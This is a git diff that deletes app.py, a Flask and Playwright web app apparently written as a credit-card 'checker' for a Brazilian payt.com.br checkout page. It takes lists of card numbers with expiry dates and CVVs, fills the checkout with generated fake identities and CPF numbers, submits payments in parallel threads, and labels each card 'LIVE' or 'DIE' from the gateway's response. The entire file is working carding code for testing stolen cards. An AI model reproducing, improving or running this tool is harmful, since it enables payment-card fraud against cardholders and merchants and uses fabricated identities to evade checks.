Delete app.py

app.py

@@ -1,226 +0,0 @@
-import asyncio
-import random
-import time
-import re
-import requests
-import threading
-from flask import Flask, render_template, request
-from flask_socketio import SocketIO
-from playwright.async_api import async_playwright
-
-app = Flask(__name__, template_folder='templates', static_folder='static')
-app.config['SECRET_KEY'] = 'payt-checker-v5-final'
-socketio = SocketIO(app, cors_allowed_origins="*", async_mode='threading')
-
-active_processes = {}
-
-class PaytChecker:
-    def __init__(self, sid):
-        self.sid = sid
-        self.base_url = "https://checkout.payt.com.br/35a53eba9befcf53a42be3f0b22a39c2"
-        self.provedores_email = ["@gmail.com", "@outlook.com", "@hotmail.com", "@yahoo.com.br"]
-
-    async def emit_to_client(self, event, data):
-        socketio.emit(event, data, room=self.sid)
-
-    def gerar_dados(self):
-        try:
-            url = 'https://www.4devs.com.br/ferramentas_online.php'
-            payload = {'acao': 'gerar_pessoa', 'sexo': 'I', 'pontuacao': 'S', 'idade': '0', 'txt_qtde': '1'}
-            headers = {'Content-Type': 'application/x-www-form-urlencoded'}
-            r = requests.post(url, data=payload, headers=headers, timeout=5)
-            res = r.json()
-            d = res[0] if isinstance(res, list) else res
-            if d.get('nome'):
-                return {
-                    'nome': d['nome'], 'nome_cartao': d['nome'].upper(),
-                    'cpf': d['cpf'], 'email': d['email'], 'telefone': d['telefone']
-                }
-        except: pass
-        
-        primeiros = ["Joao", "Maria", "Jose", "Ana", "Carlos", "Juliana", "Pedro", "Fernanda"]
-        sobrenomes = ["Silva", "Santos", "Oliveira", "Souza", "Rodrigues", "Ferreira", "Alves", "Lima"]
-        nome = f"{random.choice(primeiros)} {random.choice(sobrenomes)}"
-        cpf = "".join([str(random.randint(0, 9)) for _ in range(11)])
-        email = f"{nome.split()[0].lower()}{random.randint(100, 999)}{random.choice(self.provedores_email)}"
-        return {
-            'nome': nome, 'nome_cartao': nome.upper(), 'cpf': cpf, 'email': email, 
-            'telefone': f"119{random.randint(10000000, 99999999)}"
-        }
-
-    def classificar_retorno(self, mensagem):
-        termos_live = ["compra ainda não foi finalizada", "saldo insuficiente", "suporte", "verifique os dados"]
-        termos_die = ["revise os dados", "não conseguimos processar", "recusado", "inválidos"]
-        for t in termos_live:
-            if t.lower() in mensagem.lower(): return "LIVE"
-        for t in termos_die:
-            if t.lower() in mensagem.lower(): return "DIE"
-        return "DIE"
-
-    async def capturar_retorno(self, page):
-        for tentativa in range(60):
-            if self.sid in active_processes and active_processes[self.sid].get('stop'): return "STOP", ""
-            await asyncio.sleep(1)
-            url = page.url
-            if any(x in url for x in ["obrigado", "success", "sucesso", "confirmacao"]):
-                return "LIVE", "Pagamento aprovado com sucesso!"
-            
-            try:
-                for sel in ['xpath=//*[@id="app"]/nav/div/p', '.swal2-html-container', '.toast-message', '.alert', '.error-message']:
-                    locator = page.locator(sel)
-                    if await locator.count() > 0:
-                        texto = await locator.first.text_content()
-                        if texto and len(texto.strip()) > 5:
-                            msg = texto.strip()
-                            if any(x in msg.lower() for x in ["processando", "aguarde", "confirmando"]): continue
-                            return self.classificar_retorno(msg), msg
-            except: pass
-        return "DIE", "Timeout - Sem resposta da gateway"
-
-    async def testar_cartao(self, cartao, slot, stats_container):
-        if self.sid in active_processes and active_processes[self.sid].get('stop'): return
-        
-        partes = cartao.split('|')
-        if len(partes) != 4:
-            stats_container['errors'] += 1
-            await self.emit_to_client('update_stats', stats_container)
-            return
-
-        numero, mes, ano, cvv = partes
-        ano = ano[-2:] if len(ano) == 4 else ano
-        dados = self.gerar_dados()
-        inicio = time.time()
-
-        async with async_playwright() as p:
-            browser = None
-            try:
-                browser = await p.chromium.launch(headless=True, args=['--no-sandbox'])
-                page = await browser.new_page()
-                await self.emit_to_client('thread_status', {'id': slot, 'status': 'active', 'card': cartao})
-                
-                await page.goto(self.base_url, wait_until='load', timeout=90000)
-                
-                # Preenchimento Ultra-Resiliente (Aguarda e tenta vários métodos)
-                async def fill_ultra(selectors, value, is_type=False):
-                    for sel in selectors:
-                        try:
-                            # Aguarda o elemento existir antes de tentar qualquer coisa
-                            await page.wait_for_selector(sel, timeout=15000, state='attached')
-                            locator = page.locator(sel).first
-                            await locator.scroll_into_view_if_needed()
-                            await locator.click(force=True)
-                            await asyncio.sleep(0.5)
-                            if is_type:
-                                await locator.type(str(value), delay=50)
-                            else:
-                                await locator.fill(str(value))
-                            return True
-                        except: continue
-                    return False
-
-                # 1. Dados Pessoais - Múltiplos seletores para o NOME
-                nome_selectors = ['#full_name', 'input[id="full_name"]', 'input[name="full_name"]', 'input[placeholder*="nome"]', 'xpath=//input[contains(@placeholder, "nome")]']
-                if not await fill_ultra(nome_selectors, dados['nome']):
-                    raise Exception("Campo NOME não encontrado")
-                
-                await fill_ultra(['#email', 'input[name="email"]', 'input[placeholder*="email"]'], dados['email'])
-                await fill_ultra(['#phone', 'input[name="phone"]', 'input[placeholder*="telefone"]'], dados['telefone'])
-                await fill_ultra(['#cpf_cnpj', 'input[name="cpf_cnpj"]', 'input[placeholder*="CPF"]'], dados['cpf'])
-                
-                await page.evaluate("window.scrollBy(0, 500)")
-                await asyncio.sleep(1)
-                
-                # 2. Dados do Cartão
-                if not await fill_ultra(['#cardNumber', 'input[name="cardNumber"]', 'input[placeholder*="número"]'], numero, is_type=True):
-                    raise Exception("Campo CARTÃO não encontrado")
-                
-                await fill_ultra(['#cardName', 'input[name="cardName"]', 'input[placeholder*="impresso"]'], dados['nome_cartao'])
-                await fill_ultra(['#cardDueDate', 'input[name="cardDueDate"]', 'input[placeholder*="MM/AA"]'], f"{mes}{ano}")
-                await fill_ultra(['#cardCvv', 'input[name="cardCvv"]', 'input[placeholder*="CVV"]'], cvv)
-                
-                # 3. Clique no Botão
-                btn_clicado = False
-                for sel in ['button:has-text("Confirmar Pagamento")', 'button[type="submit"]', '.btn-primary', 'button:has-text("Confirmar")']:
-                    try:
-                        locator = page.locator(sel).first
-                        if await locator.count() > 0:
-                            await locator.click(force=True)
-                            btn_clicado = True
-                            break
-                    except: continue
-                
-                if not btn_clicado: raise Exception("Botão de pagamento não encontrado")
-
-                status, msg = await self.capturar_retorno(page)
-                if status == "STOP":
-                    if browser: await browser.close()
-                    return
-
-                tempo = round(time.time() - inicio, 1)
-                if status == "LIVE":
-                    stats_container['lives'] += 1
-                    await self.emit_to_client('live_card', {'card': cartao, 'msg': msg, 'tempo': tempo})
-                else:
-                    stats_container['dies'] += 1
-                
-                stats_container['checked'] += 1
-                await self.emit_to_client('result', {
-                    'entry': {'status': status, 'card': cartao, 'msg': msg, 'slot': slot, 'tempo': tempo},
-                    'stats': stats_container
-                })
-                if browser: await browser.close()
-            except Exception as e:
-                if self.sid in active_processes and active_processes[self.sid].get('stop'):
-                    if browser: await browser.close()
-                    return
-                stats_container['errors'] += 1
-                stats_container['checked'] += 1
-                await self.emit_to_client('result', {
-                    'entry': {'status': 'ERROR', 'card': cartao, 'msg': str(e), 'slot': slot, 'tempo': 0},
-                    'stats': stats_container
-                })
-                if browser: await browser.close()
-
-@app.route('/')
-def index():
-    return render_template('index.html')
-
-def run_async_checker(cards, threads_count, sid):
-    loop = asyncio.new_event_loop()
-    asyncio.set_event_loop(loop)
-    stats = {'lives': 0, 'dies': 0, 'errors': 0, 'checked': 0, 'total': len(cards)}
-    checker = PaytChecker(sid)
-    socketio.emit('started', {'total': len(cards), 'threads': threads_count}, room=sid)
-    
-    async def worker(card_list, slot_id):
-        for card in card_list:
-            if sid in active_processes and active_processes[sid].get('stop'): break
-            await checker.testar_cartao(card, slot_id, stats)
-        socketio.emit('thread_status', {'id': slot_id, 'status': 'idle', 'card': ''}, room=sid)
-    
-    chunks = [cards[i::threads_count] for i in range(threads_count)]
-    tasks = [worker(chunk, i) for i, chunk in enumerate(chunks) if chunk]
-    loop.run_until_complete(asyncio.gather(*tasks))
-    socketio.emit('finished', {'stats': stats, 'stopped': (sid in active_processes and active_processes[sid].get('stop'))}, room=sid)
-    if sid in active_processes: del active_processes[sid]
-    loop.close()
-
-@socketio.on('start_process')
-def handle_start(data):
-    sid = request.sid
-    if sid in active_processes: return
-    cards = [c.strip() for c in data['cards'].split('\n') if '|' in c]
-    threads_count = min(int(data['threads']), 10)
-    active_processes[sid] = {'stop': False}
-    threading.Thread(target=run_async_checker, args=(cards, threads_count, sid)).start()
-
-@socketio.on('stop_process')
-def handle_stop():
-    sid = request.sid
-    if sid in active_processes:
-        active_processes[sid]['stop'] = True
-        # Envia feedback imediato para a UI
-        socketio.emit('finished', {'stats': {}, 'stopped': True}, room=sid)
-
-if __name__ == '__main__':
-    socketio.run(app, host='0.0.0.0', port=7860, allow_unsafe_werkzeug=True)